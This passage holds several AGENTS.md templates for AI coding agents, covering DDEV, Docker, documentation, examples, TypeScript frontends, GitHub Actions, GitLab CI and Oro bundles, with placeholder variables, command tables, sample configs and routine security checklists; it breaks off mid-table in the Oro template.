        - Resource types: https://resource-types.concourse-ci.org/
        - Pipeline examples: https://concourse-ci.org/examples.html
        - Validate locally: `fly validate-pipeline -c pipeline.yml`
        - Check existing pipelines in this repo for patterns
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • ddev.md 2.4 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        DDEV local development environment configuration. **Use the `typo3-ddev` skill** for setup and multi-version testing.
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        | File | Purpose |
        |------|---------|
        | `config.yaml` | Main DDEV configuration |
        | `docker-compose.*.yaml` | Custom service overrides |
        | `commands/host/` | Host-side custom commands |
        | `commands/web/` | Container-side custom commands |
        | `.env` | Environment variables |
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Common Commands
        | Task | Command |
        |------|---------|
        | Start | `ddev start` |
        | Stop | `ddev stop` |
        | SSH into container | `ddev ssh` |
        | Run composer | `ddev composer ...` |
        | Database export | `ddev export-db > dump.sql.gz` |
        | Database import | `ddev import-db < dump.sql.gz` |
        | View logs | `ddev logs` |
        | Restart | `ddev restart` |
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Key Patterns
        - Use `ddev composer` instead of local composer
        - Custom commands in `.ddev/commands/` for project-specific tasks
        - Override services with `docker-compose.*.yaml` files
        - Use `ddev describe` to see URLs and credentials
        - Multi-version testing: change `php_version` in config.yaml
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Configuration Style
        - Keep `config.yaml` minimal, use overrides for complexity
        - Document custom commands with `## Description:` header
        - Use `#ddev-generated` comment for files DDEV manages
        - Pin addon versions for reproducibility
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR Checklist
        - [ ] `ddev start` works after changes
        - [ ] Custom commands have descriptions
        - [ ] No hardcoded paths or credentials
        - [ ] Works on macOS, Linux, and Windows (WSL2)
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START skill-reference -->
        ## Skill Reference
        > For DDEV setup, TYPO3 multi-version testing, and custom commands:
        > **Invoke skill:** `typo3-ddev`
        <!-- AGENTS-GENERATED:END skill-reference -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • docker.md 5.3 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{DOCKER_VERSION_LINE}}
        {{COMPOSE_VERSION_LINE}}
        {{REGISTRY_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        docker/                      # or deploy/, .docker/, infrastructure/
          Dockerfile                 → Main application image
          Dockerfile.dev             → Development image (optional)
          docker-compose.yml         → Local development stack
          docker-compose.prod.yml    → Production overrides
          .dockerignore              → Build context exclusions
          entrypoint.sh              → Container entrypoint script
          healthcheck.sh             → Health check script
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & run
        | Task | Command |
        |------|---------|
        | Build image | `docker build -t app .` |
        | Run container | `docker run -p 8080:80 app` |
        | Start stack | `docker compose up -d` |
        | View logs | `docker compose logs -f` |
        | Stop stack | `docker compose down` |
        | Rebuild | `docker compose up -d --build` |
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Dockerfile conventions
        - **Multi-stage builds**: Separate build and runtime stages
        - **Non-root user**: Run as non-root user in production
        - **Layer caching**: Order instructions from least to most frequently changing
        - **Specific versions**: Pin base image versions (e.g., `node:20-alpine`, not `node:latest`)
        - **COPY over ADD**: Prefer COPY unless extracting archives
        - **.dockerignore**: Exclude unnecessary files from build context
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Dockerfile | `Dockerfile` or `Dockerfile.<variant>` | `Dockerfile.dev` |
        | Compose file | `docker-compose.yml` or `compose.yml` | `docker-compose.prod.yml` |
        | Image tag | `<registry>/<name>:<version>` | `ghcr.io/org/app:1.2.3` |
        | Service name | lowercase with hyphens | `web-app`, `postgres-db` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Common patterns
        
        ### Multi-stage build
        ```dockerfile
        # Build stage
        FROM node:20-alpine AS builder
        WORKDIR /app
        COPY package*.json ./
        RUN npm ci
        COPY . .
        RUN npm run build
        
        # Runtime stage
        FROM node:20-alpine AS runtime
        WORKDIR /app
        RUN addgroup -g 1001 appgroup && adduser -u 1001 -G appgroup -s /bin/sh -D appuser
        COPY --from=builder /app/dist ./dist
        COPY --from=builder /app/node_modules ./node_modules
        USER appuser
        EXPOSE 3000
        CMD ["node", "dist/index.js"]
        ```
        
        ### Health check
        ```dockerfile
        HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
          CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
        ```
        
        ### Compose with profiles
        ```yaml
        services:
          app:
            build: .
            profiles: ["dev", "prod"]
          debug:
            build:
              context: .
              dockerfile: Dockerfile.dev
            profiles: ["dev"]
        ```
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - **No secrets in images**: Use runtime environment variables or secret mounts
        - **Non-root execution**: Always use USER directive in production
        - **Minimal base images**: Prefer Alpine or distroless images
        - **Scan images**: Use `docker scout`, `trivy`, or similar tools
        - **Pin versions**: Avoid `latest` tags for reproducibility
        - **Read-only filesystem**: Use `--read-only` when possible
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] Dockerfile builds successfully
        - [ ] Image runs without errors
        - [ ] Non-root user configured for production
        - [ ] .dockerignore excludes sensitive/unnecessary files
        - [ ] Health check configured
        - [ ] No secrets or credentials in image layers
        - [ ] Base image version pinned
        - [ ] Multi-stage build used where appropriate
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Docker docs: https://docs.docker.com
        - Dockerfile best practices: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/
        - Compose specification: https://docs.docker.com/compose/compose-file/
        - Check existing Dockerfiles in this repo for patterns
        - Review root AGENTS.md for project-wide conventions
        <!-- AGENTS-GENERATED:END help -->
        
        <!-- AGENTS-GENERATED:START skill-reference -->
        ## Skill Reference
        > For Dockerfile best practices, multi-stage builds, and compose patterns:
        > **Invoke skill:** `docker-development`
        <!-- AGENTS-GENERATED:END skill-reference -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • documentation.md 3.5 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        - Documentation may use a static site generator (check for config files)
        - Preview locally before committing major changes
        - Check for broken links and formatting issues
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Building docs
        - Preview: check for `npm run docs`, `make docs`, or similar
        - Build: check for documentation build commands in root
        - Serve locally to verify rendering
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Documentation structure
        - `README.md` - Entry point, project overview
        - `getting-started/` - Installation and quick start guides
        - `guides/` - How-to guides and tutorials
        - `reference/` - API documentation, configuration reference
        - `architecture/` - Design documents, ADRs
        - `contributing/` - Contribution guidelines
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Use clear, concise language
        - Include code examples for technical concepts
        - Keep line length reasonable (~80-120 chars for readability)
        - Use consistent heading hierarchy (H1 for page title, H2 for sections)
        - Add alt text to images for accessibility
        - Use relative links for internal references
        - Keep code examples up-to-date with actual codebase
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START markdown -->
        ## Markdown best practices
        - Use fenced code blocks with language hints: ```python
        - Use tables for structured data comparison
        - Use admonitions for warnings/notes (if supported)
        - Keep paragraphs focused on one idea
        - Use bullet points for lists, numbered lists for sequences
        <!-- AGENTS-GENERATED:END markdown -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Never include secrets, API keys, or credentials in examples
        - Use placeholder values: `your-api-key`, `example.com`
        - Review screenshots for sensitive information
        - Avoid documenting security vulnerabilities in detail
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] Documentation matches current code behavior
        - [ ] Code examples are tested and work
        - [ ] Links are valid (no 404s)
        - [ ] Images have alt text
        - [ ] Spelling and grammar checked
        - [ ] Formatting renders correctly
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check existing documentation for patterns
        - Review the style guide (if one exists)
        - Preview changes locally before committing
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • examples.md 3.4 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        - Examples should be self-contained and runnable
        - Each example may have its own dependencies (check local README)
        - Examples should work with the current version of the main package
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Running examples
        - Check each example's README for specific instructions
        - Most examples: `cd example-name && follow README`
        - Some examples may require environment setup
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START organization -->
        ## Example organization
        - One directory per example/use case
        - Each example has its own README explaining what it demonstrates
        - Keep examples focused on one concept or pattern
        - Name examples descriptively: `basic-usage/`, `advanced-config/`, `integration-with-x/`
        <!-- AGENTS-GENERATED:END organization -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - Examples should be educational and well-commented
        - Use realistic but simplified scenarios
        - Show best practices, not shortcuts
        - Include error handling to demonstrate proper patterns
        - Keep examples minimal - only what's needed to demonstrate the concept
        - Avoid complex setups that distract from the main point
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START documentation -->
        ## Documentation requirements
        - Each example needs a README with:
          - What this example demonstrates
          - Prerequisites and setup steps
          - How to run the example
          - Expected output or behavior
          - Links to relevant documentation
        <!-- AGENTS-GENERATED:END documentation -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Never include real API keys or credentials
        - Use environment variables for sensitive config: `export API_KEY=your-key`
        - Use sandbox/test environments when interacting with external services
        - Include warnings for examples that make real API calls
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] Example runs successfully
        - [ ] README is complete and accurate
        - [ ] No hardcoded credentials
        - [ ] Code demonstrates best practices
        - [ ] Comments explain non-obvious parts
        - [ ] Example works with current package version
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - Check similar examples for patterns
        - Ensure the example is self-contained
        - Test the example from scratch (fresh environment)
        - Check root AGENTS.md for project conventions
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • frontend-typescript.md 2.7 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{NODE_VERSION_LINE}}
        {{FRAMEWORK_LINE}}
        {{PACKAGE_MANAGER_LINE}}
        {{ENV_VARS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{INSTALL_LINE}}
        {{TYPECHECK_LINE}}
        {{LINT_LINE}}
        {{FORMAT_LINE}}
        {{TEST_LINE}}
        {{BUILD_LINE}}
        {{DEV_LINE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        {{TS_STRICT_LINE}}
        {{COMPONENT_STYLE_LINE}}
        - Naming: `camelCase` for variables/functions, `PascalCase` for components
        - File naming: `ComponentName.tsx`, `utilityName.ts`
        - Imports: group and sort (external, internal, types)
        {{CSS_APPROACH_LINE}}
        {{FRAMEWORK_CONVENTIONS}}
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Sanitize user inputs before rendering
        - Raw HTML rendering only with sanitized content (use DOMPurify)
        - Validate environment variables at build time
        - Never expose secrets in client-side code
        - Use HTTPS for all API calls
        - Implement CSP headers
        - WCAG 2.2 AA accessibility compliance
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        {{TEST_CHECKLIST_LINE}}
        {{TYPECHECK_CHECKLIST_LINE}}
        {{LINT_CHECKLIST_LINE}}
        {{FORMAT_CHECKLIST_LINE}}
        - [ ] Accessibility: keyboard navigation works, ARIA labels present
        - [ ] Responsive: tested on mobile, tablet, desktop
        - [ ] Performance: no unnecessary re-renders
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        {{FRAMEWORK_DOCS_LINE}}
        - Review TypeScript handbook: https://www.typescriptlang.org/docs/
        - Check root AGENTS.md for project-wide conventions
        - Review existing components for patterns
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • github-actions.md 5.2 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Workflow files
        {{WORKFLOW_COUNT_LINE}}
        {{REUSABLE_WORKFLOWS_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        .github/
          workflows/
            ci.yml              → Main CI workflow (lint, test, build)
            release.yml         → Release/deploy workflow
            dependabot.yml      → Dependency updates
          actions/
            <action-name>/      → Composite actions (reusable)
              action.yml
          CODEOWNERS            → Code ownership rules
          pull_request_template.md
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Workflow conventions
        - **Pin action versions** with full SHA, not tags (`uses: actions/checkout@abc123...`)
        - **Minimal permissions**: Use `permissions:` block, never use `permissions: write-all`
        - **Reusable workflows**: Extract common patterns to `.github/workflows/reusable-*.yml`
        - **Job dependencies**: Use `needs:` to express dependencies
        - **Caching**: Use `actions/cache` for dependencies (npm, composer, go)
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Workflow file | `<purpose>.yml` | `ci.yml`, `release.yml` |
        | Workflow name | Title Case | `CI Pipeline`, `Release` |
        | Job ID | kebab-case | `build-and-test`, `deploy-staging` |
        | Step name | Sentence case | `Install dependencies` |
        | Secret | SCREAMING_SNAKE | `DEPLOY_TOKEN`, `NPM_TOKEN` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Common patterns
        
        ### Basic CI workflow
        ```yaml
        name: CI
        on:
          push:
            branches: [main]
          pull_request:
            branches: [main]
        
        permissions:
          contents: read
        
        jobs:
          test:
            runs-on: ubuntu-latest
            steps:
              - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
              - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
                with:
                  node-version: '20'
                  cache: 'npm'
              - run: npm ci
              - run: npm test
        ```
        
        ### Matrix builds
        ```yaml
        jobs:
          test:
            strategy:
              matrix:
                os: [ubuntu-latest, macos-latest]
                node: ['18', '20', '22']
            runs-on: ${{ matrix.os }}
            steps:
              - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
                with:
                  node-version: ${{ matrix.node }}
        ```
        
        ### Reusable workflow
        ```yaml
        # .github/workflows/reusable-test.yml
        on:
          workflow_call:
            inputs:
              node-version:
                type: string
                default: '20'
        
        jobs:
          test:
            runs-on: ubuntu-latest
            steps:
              - uses: actions/checkout@v4
              - uses: actions/setup-node@v4
                with:
                  node-version: ${{ inputs.node-version }}
        ```
        
        ### Conditional deployment
        ```yaml
        jobs:
          deploy:
            if: github.ref == 'refs/heads/main' && github.event_name == 'push'
            needs: [test, build]
            environment: production
            steps:
              - name: Deploy
                run: ./deploy.sh
        ```
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - **NEVER** expose secrets in logs: use `::add-mask::` for dynamic secrets
        - **Pin actions** to full commit SHA, not mutable tags
        - **Minimal permissions**: Start with `contents: read`, add only what's needed
        - **Environment protection**: Use environments with required reviewers for deploys
        - **Secret scanning**: Enable in repository settings
        - **Dependency review**: Use `actions/dependency-review-action` for PRs
        - **OIDC**: Prefer OIDC over long-lived secrets for cloud providers
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] Actions pinned to full SHA (not tags)
        - [ ] Permissions block uses minimal required permissions
        - [ ] Secrets are not exposed in logs
        - [ ] Workflow syntax valid: `actionlint` or GitHub UI validation
        - [ ] Matrix strategy covers required versions/platforms
        - [ ] Caching configured for dependencies
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - GitHub Actions docs: https://docs.github.com/en/actions
        - Workflow syntax: https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions
        - Action marketplace: https://github.com/marketplace?type=actions
        - Use `act` for local testing: https://github.com/nektos/act
        - Check existing workflows in this repo for patterns
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • gitlab-ci.md 4.6 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Pipeline configuration
        {{JOB_COUNT_LINE}}
        {{INCLUDES_LINE}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## File structure
        ```
        .gitlab-ci.yml          → Main pipeline configuration
        .gitlab/
          ci/
            templates/          → Reusable job templates
            jobs/               → Job definitions (included)
          CODEOWNERS            → Code ownership
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Pipeline conventions
        - Use **stages** to organize job execution order
        - **Extend templates** with `extends:` for DRY jobs
        - Use **rules:** instead of `only:/except:` (deprecated)
        - **Cache dependencies** between jobs
        - Use **artifacts** to pass files between stages
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
        | Stage | lowercase | `build`, `test`, `deploy` |
        | Job | kebab-case with stage prefix | `build-app`, `test-unit` |
        | Variable | SCREAMING_SNAKE | `DEPLOY_ENV`, `CI_TOKEN` |
        | Template | `.template-name` (dot prefix) | `.build-template` |
        <!-- AGENTS-GENERATED:END code-style -->
        
        <!-- AGENTS-GENERATED:START patterns -->
        ## Common patterns
        
        ### Basic pipeline structure
        ```yaml
        stages:
          - build
          - test
          - deploy
        
        variables:
          NODE_VERSION: "20"
        
        build-app:
          stage: build
          image: node:${NODE_VERSION}
          script:
            - npm ci
            - npm run build
          artifacts:
            paths:
              - dist/
            expire_in: 1 hour
        
        test-unit:
          stage: test
          needs: [build-app]
          script:
            - npm test
        ```
        
        ### Reusable job template
        ```yaml
        .deploy-template:
          stage: deploy
          image: alpine:latest
          before_script:
            - apk add --no-cache curl
          script:
            - ./deploy.sh $ENVIRONMENT
        
        deploy-staging:
          extends: .deploy-template
          variables:
            ENVIRONMENT: staging
          rules:
            - if: $CI_COMMIT_BRANCH == "main"
        
        deploy-production:
          extends: .deploy-template
          variables:
            ENVIRONMENT: production
          rules:
            - if: $CI_COMMIT_TAG
          when: manual
        ```
        
        ### Matrix builds (parallel)
        ```yaml
        test:
          stage: test
          parallel:
            matrix:
              - NODE_VERSION: ["18", "20", "22"]
                OS: ["alpine", "debian"]
          image: node:${NODE_VERSION}-${OS}
          script:
            - npm test
        ```
        
        ### Include external files
        ```yaml
        include:
          - local: '.gitlab/ci/templates.yml'
          - project: 'company/ci-templates'
            ref: main
            file: '/templates/docker.yml'
          - template: Security/SAST.gitlab-ci.yml
        ```
        <!-- AGENTS-GENERATED:END patterns -->
        
        <!-- AGENTS-GENERATED:START security -->
        ## Security & safety
        - Use **protected variables** for secrets (Settings > CI/CD > Variables)
        - **Mask variables** to prevent log exposure
        - Use **protected branches** for deployment jobs
        - Enable **SAST/DAST** scanning templates
        - **Pin Docker images** to specific versions/digests
        - Use `rules:` with `$CI_COMMIT_TAG` for release workflows
        - Review **merge request pipelines** before merging
        <!-- AGENTS-GENERATED:END security -->
        
        <!-- AGENTS-GENERATED:START checklist -->
        ## PR/commit checklist
        - [ ] Pipeline syntax valid: use CI/CD > Editor > Validate
        - [ ] Jobs use appropriate stages
        - [ ] Sensitive variables are masked and protected
        - [ ] Artifacts have reasonable `expire_in` values
        - [ ] Cache keys are appropriate for the content
        - [ ] Rules conditions are correct (not using deprecated only/except)
        <!-- AGENTS-GENERATED:END checklist -->
        
        <!-- AGENTS-GENERATED:START examples -->
        ## Patterns to Follow
        > **Prefer looking at real code in this repo over generic examples.**
        > See **Golden Samples** section above for files that demonstrate correct patterns.
        <!-- AGENTS-GENERATED:END examples -->
        
        <!-- AGENTS-GENERATED:START help -->
        ## When stuck
        - GitLab CI docs: https://docs.gitlab.com/ee/ci/
        - CI/CD YAML syntax: https://docs.gitlab.com/ee/ci/yaml/
        - Predefined variables: https://docs.gitlab.com/ee/ci/variables/predefined_variables.html
        - Use the pipeline editor for validation: CI/CD > Editor
        - Check existing `.gitlab-ci.yml` patterns in this repo
        <!-- AGENTS-GENERATED:END help -->
        
        ## House Rules (project-specific)
        <!-- This section is NOT auto-generated - add your project-specific rules here -->
        {{HOUSE_RULES}}
        
      • oro-bundle.md 6.5 KB
        <!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} -->
        
        # AGENTS.md — {{SCOPE_NAME}}
        
        <!-- AGENTS-GENERATED:START overview -->
        ## Overview
        {{SCOPE_DESCRIPTION}}
        <!-- AGENTS-GENERATED:END overview -->
        
        <!-- AGENTS-GENERATED:START filemap -->
        ## Key Files
        {{SCOPE_FILE_MAP}}
        <!-- AGENTS-GENERATED:END filemap -->
        
        <!-- AGENTS-GENERATED:START golden-samples -->
        ## Golden Samples (follow these patterns)
        {{SCOPE_GOLDEN_SAMPLES}}
        <!-- AGENTS-GENERATED:END golden-samples -->
        
        <!-- AGENTS-GENERATED:START setup -->
        ## Setup & environment
        {{INSTALL_LINE}}
        {{PHP_VERSION_LINE}}
        {{ORO_VERSION_LINE}}
        {{DATABASE_LINE}}
        {{SETUP_COMMANDS}}
        <!-- AGENTS-GENERATED:END setup -->
        
        <!-- AGENTS-GENERATED:START structure -->
        ## Directory structure
        ```
        src/
          Acme/
            Bundle/
              MyBundle/
                AcmeMyBundle.php        → Bundle class
                Controller/             → Web and API controllers
                Entity/                 → Doctrine entities
                Form/                   → Form types
                Resources/
                  config/
                    oro/                → Oro-specific configs
                      workflows.yml     → Workflow definitions
                      datagrids.yml     → Datagrid definitions
                      navigation.yml    → Menu/navigation
                      acl.yml           → ACL definitions
                    services.yml        → Service definitions
                  views/                → Twig templates
                  translations/         → Translation files
                Migrations/
                  Schema/               → Doctrine schema migrations
                  Data/                 → Data migrations (fixtures)
                Api/                    → API processors
                Async/                  → Message queue processors
                EventListener/          → Event subscribers/listeners
                ImportExport/           → Import/export processors
        ```
        <!-- AGENTS-GENERATED:END structure -->
        
        <!-- AGENTS-GENERATED:START commands -->
        ## Build & tests
        {{COMMANDS_TABLE}}
        <!-- AGENTS-GENERATED:END commands -->
        
        <!-- AGENTS-GENERATED:START code-style -->
        ## Code style & conventions
        - **PSR-12** coding standard
        - Strict types: `declare(strict_types=1);`
        - Symfony best practices + Oro conventions
        - Use Oro's **config-based** approach (YAML over annotations when possible)
        - Dependency injection via `services.yml`
        - Entities extend Oro base classes when applicable
        
        ### Naming conventions
        | Type | Convention | Example |
        |------|------------|---------|
